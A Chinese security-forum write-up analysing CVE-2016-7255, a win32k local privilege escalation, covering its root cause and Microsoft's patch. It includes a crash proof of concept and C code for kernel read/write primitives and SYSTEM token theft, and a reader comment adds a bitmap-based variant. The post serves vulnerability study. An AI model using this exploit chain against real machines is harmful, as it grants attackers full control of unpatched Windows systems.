首页
社区
课程
招聘
[原创]CVE-2016-7255 win32k本地提权漏洞分析
2022-5-13 03:08 17844

[原创]CVE-2016-7255 win32k本地提权漏洞分析

2022-5-13 03:08
17844

新手初学二进制漏洞不久,也是第一次写相关的博客,如有不足和错误,请各位师傅们多多指正

漏洞信息

漏洞简述

  • 漏洞名称:Microsoft Win32k 特权提升漏洞
  • 漏洞编号:CVE-2016-7255
  • 漏洞类型:类型混淆
  • 漏洞影响:权限提升
  • CVSS评分: 7.8
  • 利用难度:Low

组件概述

win32k.sys为驱动文件,主要为应用层提供大量服务。功能上主要实现窗口管理和图形设备接口。

漏洞利用

该漏洞是在win32k.sys中xxxNextWindow中,对于tagWnd对象内成员,只进行了是否为零的判断,而没有验证是否有效,导致可以构造内核空间任意地址写,最终实现本地提权。

漏洞影响

Windows Vista SP2
Windows Server 2008 SP2 and R2 SP1
Windows 7 SP1
Windows 8.1
Windows Server 2012 Gold and R2
Windows RT 8.1
Windows 10 Gold,1511,and 1607
Windows Server 2016

解决方案

microsoft补丁如下:
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-7255

漏洞分析

分析环境

Windows 7 SP1 x86
VMware Workstation 16 Pro
WinDbg 10.0.18362.1
IDA Pro 7.6

背景知识

主要介绍一些后面会用到的结构体和函数
1.用户态窗口类结构体:WNDCLASSEX,该结构体的定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct WNDCLASSEX {
UINT cbSize;                //类的大小
UINT style;                 //窗口风格
WNDPROC lpfnWndProc;        //窗口处理函数指针
int cbClsExtra;             //所有窗口实例共同占用内存的大小
int cbWndExtra;             //窗口实例拓展内存的大小
HINSTANCE hInstance;        //模块句柄
HICON hIcon;                //图标句柄
HCURSOR hCursor;            //光标句柄
HBRUSH hbrBackground;       //背景刷句柄
LPCTSTR lpszMenuName;       //菜单指针
LPCTSTR lpszClassName;      //类名指针
HICON hIconSm;
} WNDCLASSEX, *PWNDCLASSEX;

其中需要关注的是cbWndExtra成员,当创建窗口实例的时候系统会根据cbWndExtra的值分配相应大小的空间
2.内核态窗口类结构体:tagWND,下面列出该结构体中需要关注的成员

1
2
3
4
5
6
7
win32k!tagWND
    ...
   +0x078 spmenu             : Ptr32 tagMENU         //tagMENU菜单对象指针      
    ...
   +0x084 strName 
   +0x090 cbwndExtra         : Int4B                 //窗口实例拓展内存大小
    ...

3.内核态菜单类结构体 : tagMENU,只需要知道在偏移0x14存在fFlags字段

1
2
3
4
win32k!tagMENU
    ...
   +0x014 fFlags           : Uint4B
    ...

4.SetWindowLong函数

1
2
3
4
5
LONG SetWindowLong(
    HWND hWnd,               //窗口句柄
    int nIndex,              //偏移
    LONG dwNewLong           //要设置的值
);

SetWindowLong函数可以用来改变窗口的属性,也可以向窗口拓展内存中写入数据,SetWindowLong最终调用了xxxSetWindowLong。
在xxxSetWindowLong中,会对传入的nIndex进行判断,当nIndex小于0时,会调用xxxSetWindowData,如下图所示。
图片描述
而在xxxSetWindowData中,当nIndex为-12(GWL_ID),且窗口的style为WS_CHILD(0x40000000)时,会将tagWND结构体中的spmenu成员的值设为传入的dwNewLong,如下图所示。
图片描述
回到xxxSetWindowLong的第79行,当nIndex+4大于tagWND结构体中的cbwndExtra(拓展内存大小),即要越界的时候,就会跳转到第70行,设置ErrorCode,并返回,如下图所示。
图片描述
当nIndex不小于零,且不存在越界的情况时,就会根据nIndex,设置拓展内存中的值,如下图所示
图片描述

漏洞成因

该漏洞位于win32k!xxxNextWindow中,xxxNextWindow函数的反汇编如下所示
在第176行处,函数只对tagWND结构体中的spmenu成员是否为零进行了判断,而缺少了其他必要的检查,然后在177行就将spmenu偏移0x14处的地址中的值和0x4进行或操作。而spmenu,可以使用背景知识里所介绍的SetWindowLong对其进行修改,从而实现任意地址写操作。

 

图片描述

漏洞复现

要验证这个漏洞主要是实现对spmenu的修改,然后通过模拟按键alt+esc,进入xxxNextWindow触发漏洞

 

首先是创建两个窗口hWnd1和hWnd2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//创建窗口1
 hWnd1 = CreateWindowExW(
     0,
     lpszClassName,
     NULL,
     WS_VISIBLE,
     0,
     0,
     100,
     100,
     NULL,
     NULL,
     GetModuleHandle(NULL),
     NULL
     );
 
 //创建窗口2
 hWnd2 = CreateWindowExW(
     0,
     lpszClassName,
     NULL,
     WS_VISIBLE,
     0,
     0,
     100,
     100,
     NULL,
     NULL,
     GetModuleHandle(NULL),
     NULL
     );

然后调用SetWindowlong,将窗口的style设置为WS_CHILD

1
SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));

再调用SetWindowLong,将窗口的spmenu设置为0x12345678

1
SetWindowLong(hWnd1,GWL_ID,0x12345678);

切换焦点到窗口2,将它设置为最前方窗口

1
SwitchToThisWindow(hWnd2,TRUE);

最后是模拟alt+esc按键来处罚漏洞

1
2
keybd_event(VK_MENU, 0, 0, 0);
keybd_event(VK_ESCAPE, 0, 0, 0);

完整的POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include "stdafx.h"
#include <windows.h>
 
WCHAR* lpszClassName = L"TEST";
 
 
 
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    HWND hWnd1;
    HWND hWnd2;
 
 
    WNDCLASSEXW wcs = {0};
    wcs.cbSize = sizeof(WNDCLASSEXW);
    wcs.lpfnWndProc = DefWindowProc;
    wcs.hInstance = GetModuleHandle(NULL);
    wcs.lpszClassName = lpszClassName;
 
    if(!RegisterClassExW(&wcs))
    {
        return 0;
    }
 
 
    //创建窗口1
    hWnd1 = CreateWindowExW(
        0,
        lpszClassName,
        NULL,
        WS_VISIBLE,
        0,
        0,
        100,
        100,
        NULL,
        NULL,
        GetModuleHandle(NULL),
        NULL
        );
 
    //创建窗口2
    hWnd2 = CreateWindowExW(
        0,
        lpszClassName,
        NULL,
        WS_VISIBLE,
        0,
        0,
        100,
        100,
        NULL,
        NULL,
        GetModuleHandle(NULL),
        NULL
        );
 
 
    //将窗口1的style设置为WS_CHILD,以便后面设置spmenu
    SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
 
    //将窗口1的spmenu设置为0x12345678
    SetWindowLong(hWnd1,GWL_ID,0x12345678);
 
 
    //将窗口2设置最前方窗口
    SwitchToThisWindow(hWnd2,TRUE);
 
    //触发漏洞
    keybd_event(VK_MENU, 0, 0, 0);
    keybd_event(VK_ESCAPE, 0, 0, 0);
 
 
    return 0;
}

运行POC,此时windbg显示如下,可以看到xxxNextWindow函数执行到 or dword ptr [eax+14h], 4 时,eax存储的就是之前写入的spmenu的值0x12345678,然后读取spmenu偏移0x14,即0x1234568C处的值进行或运算, 触发访问异常,导致系统崩溃
图片描述
图片描述

漏洞利用

本节主要介绍该漏洞利用的思路。

获得HMValidateHandle函数地址

HMValidateHandle函数可以将匹配的对象复制到用户空间中,并返回对应的地址,最终可以获得对象在内核空间中的地址。
然后是寻找HMValidateHandle的地址,由于该函数并没有导出,但是有一个用户态函数IsMenu调用了它,如下所示,只存在一个call指令,所以可以从IsMenu的地址开始遍历,寻找特征码E8,从而获得HMValidateHandle的地址
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//查找HMValidateHandle的地址
void FindHMValidateHandle()
{
    BYTE* pTemp = NULL;       
    BYTE* pIsMenu = NULL;
    HMODULE hUser32 = NULL;
    DWORD dwOffset = 0;           
    DWORD dwNext = 0;            //下一条指令地址
 
 
    //获得user32.dll的句柄
    hUser32 = GetModuleHandle(L"user32.dll");
 
    //获得IsMenu的地址
    pIsMenu = (BYTE*)GetProcAddress(hUser32,"IsMenu");
 
    //遍历
    for(int i=0;i<1000;i++)
    {
        pTemp = (BYTE*)(pIsMenu+i);
        if(*pTemp == 0xE8)
        {
            dwOffset = *(DWORD*)(pTemp+1);
            dwNext = (DWORD)(pTemp+5);
            break;
        }
    }
 
    //计算目标函数地址
    HMValidateHandle = (HMValidateHandle_t)(dwNext+dwOffset);
 
}

触发漏洞,修改cbwndExta成员

调用HMValidateHandle,得到了复制的tagWnd对象的地址,通过其中的成员head的pSelf字段,就可以获得tagWnd对象在内核空间中的地址,在0x90偏移处,得到了cbwndExtra成员的地址,根据漏洞实现的条件,如下所示,可以将cbwndExtra的地址-0x14+0x3 写入spmenu,实现cbwndExta最高字节与0x4进行或运算,由于cbwndExtra初始值为0,漏洞触发后,cbwndExtra的值就变为0x04000000。
图片描述

 

完成增大cbwndExtra后,需要再创建一个窗口2,使得该窗口2的tagWnd与触发漏洞窗口1的tagWnd相近,这样就可以调用SetWindowLong通过向触发漏洞的窗口1的cbwndExtra写入数据的同时,能够修改窗口2的tagWnd的关键成员。为此可以创建了0x100个窗口,并选取两个tagWnd对象地址相差小于0x3fd00的窗口,一个作为触发漏洞的窗口tagWnd1,另一个作为利用的窗口tagWnd2,如下所示
图片描述

任意地址读取

现在使用SetWindowLong就可以去修改tagWnd2的成员,这里选择的位于0x34偏移处的spwndParent。然后调用GetAncestor,函数的定义如下。该函数实际调用内核态函数NtUserGetAncestor,将gaFlags设置为GA_PARENT(1),就会返回 *(tagWnd.spwndParent),所以可以将内核地址写入spwndParent成员,实现任意地址读取。

1
HWND GetAncestor( _In_ HWND hwnd, _In_ UINT gaFlags);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
DWORD ReadKernelMemory(DWORD dwAddr)
{
    WCHAR szBuf[4] = {0};
    DWORD dwOrg = 0;
    DWORD dwNameOffset = 0;
    DWORD dwRet = 0;
 
    //计算spwndParent距附加空间的偏移
    dwNameOffset = dwExtraOffset+0x34;
 
    //保存原始spwndParent
    dwOrg = *(DWORD*)((DWORD)pHead2+0x34);
 
    //设置Parent
    SetWindowLong(hWnd1,dwNameOffset,dwAddr);
 
    //读取
    dwRet = (DWORD)GetAncestor(hWnd2,1);
 
    //恢复原始值
    SetWindowLong(hWnd1,dwNameOffset,dwOrg);
 
 
    return dwRet;
 
}

任意地址写入

在实现任意地址写入的时候,选择的是tagWnd结构偏移0x8c处的strName.Buffer成员,通过SetWindowLong去修改Buffer,然后调用SetWindowText,函数定义如下,将要写入的值的地址作为参数传入,就可以任意值写入buffer指向的空间中。

1
BOOL SetWindowText(HWND hwnd,LPCTSTR lpString);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
VOID WriteKernelMemory(DWORD dwAddr,DWORD dwValue)
{
    DWORD dwOrg = 0;
    DWORD dwNameOffset = 0;
 
    //计算Buffer距附加空间的偏移
    dwNameOffset = dwExtraOffset+0x8c;
 
    //保存原始Buffer
    dwOrg = *(DWORD*)((DWORD)pHead2+0x8c);
 
    //修改Buffer为要写入的地址
    SetWindowLong(hWnd1,dwNameOffset,dwAddr);
 
    //写入值
 
    DWORD dwRet = SetWindowTextW(hWnd2,(LPCWSTR)&dwValue);
 
    //恢复Buffer
    SetWindowLong(hWnd1,dwNameOffset,dwOrg);
 
}

权限提升

最后就是实现提权,这里选择的就是修改当前进程的token。通过检查tagWnd结构体可以发现能够操作的地方,tagWND->head->pti->pEThread->ApcState->Process,通过一步步地调用ReadKernelMemory,就可以获得当前进程的EPROCESS结构体地址,后面只需要通过其中的ActiveProcessLinks去遍历进程链表,通过pid查找到system进程,然后调用WriteKernelMemory,将当前进程的token修改为system进程的token,完成提权,具体实现如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//pti
pti = (DWORD)pHead2->pti;
 
//ethread
dwParam = pti;
eThread = ReadKernelMemory(dwParam);
 
//eprocess
dwParam = eThread+0x50;
eProcess = ReadKernelMemory(dwParam);
 
NextProcess = eProcess;
while(pid!=0x4)
{
    //next process
    dwParam = NextProcess+0xb8;
    NextProcess = ReadKernelMemory(dwParam);
    NextProcess -= 0xb8;
 
    //pid
    dwParam = NextProcess+0xb4;
    pid = ReadKernelMemory(dwParam);
}
 
//Token
dwParam = NextProcess+0xf8;
Token = ReadKernelMemory(dwParam);
 
//修改当前进程tokens
dwParam = eProcess+0xf8;
WriteKernelMemory(dwParam,Token);

执行到此,任务管理器显示如下,可以看到本地进程的token已经和system进程的token相同,即权限已经提升成功。
图片描述

补丁分析

对应的漏洞补丁为KB3197868。
首先是补丁前后的xxxNextWindow的反汇编比较,如下所示,在第173行处,比原先版本新增了一处判断,即xxxNextWindow会判断tagWnd的style成员是否为WS_CHILD(0x40000000),如果窗口的类型为WS_CHILD,则不会对spmenu.fFlags进行或操作。这么做的原因是因为,最开始设置spmenu成员的时候,调用了以GWL_ID为参数的SetWindowLong,只有当窗口类型为WS_CHILD,才能够传入的参数赋给spmenu成员,此处判断能够限制窗口的类型,从而对触发的过程进行限制。
图片描述
图片描述

参考文献

1.https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html
2.https://blog.csdn.net/qq_41252520/article/details/119698465
3.https://www.77169.net/html/50253.html


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2022-5-13 14:45 被帆帆帆帆编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (3)
雪    币: 173
活跃值: (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
GlitterA 2022-5-13 18:35
2
0
大佬加油,学习了
雪    币: 1
活跃值: (319)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
spobit 2022-5-14 21:46
3
0

bitmap版本.


```

    //将窗口1的style设置为WS_CHILD,以便后面设置spmenu

    SetWindowLong(hWnd1, GWL_STYLE, (WS_VISIBLE | WS_CHILD));


    //将窗口1的spmenu设置为 (cy - OFFSET(win7::x32::win32k::tagMENU, fFlags))

    AbritraryReadWriteBitmapsManager* gRW = nullptr;

    gRW = new AbritraryReadWriteBitmapsManager;

    if (!gRW->IsValidLayout()) {

        LOGEP("invalid layout");

        return 0;

    }


    auto cy = (char*)gRW->GetMngSurfaceYAddress();

    LOGIP("cy address: 0x%p", cy);

    auto menu = (win7::x32::win32k::tagMENU*)(

        cy - OFFSET(win7::x32::win32k::tagMENU, fFlags));

    LOGIP("menu address: 0x%p", menu);


    SetWindowLong(hWnd1, GWL_ID, (LONG)menu);



    //将窗口2设置最前方窗口

    SwitchToThisWindow(hWnd2, TRUE);


    //触发漏洞

    keybd_event(VK_MENU, 0, 0, 0);

    keybd_event(VK_ESCAPE, 0, 0, 0);

    Sleep(100);

    keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);

    keybd_event(VK_ESCAPE, 0, KEYEVENTF_KEYUP, 0);


    /// 实现任意读写

    //__debugbreak();

    if (gRW->IsSupperMngSurface())

    {

        gRW->MakeAbritraryReadWrite();

    }

    LOGIP("Raised: %s", (gRW->IsRaised() ? "true" : "false"));

```

最后于 2022-5-14 21:48 被spobit编辑 ,原因:
雪    币: 15
活跃值: (417)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小周学习站 2024-2-22 09:59
4
0
学习了
游客
登录 | 注册 方可回帖
返回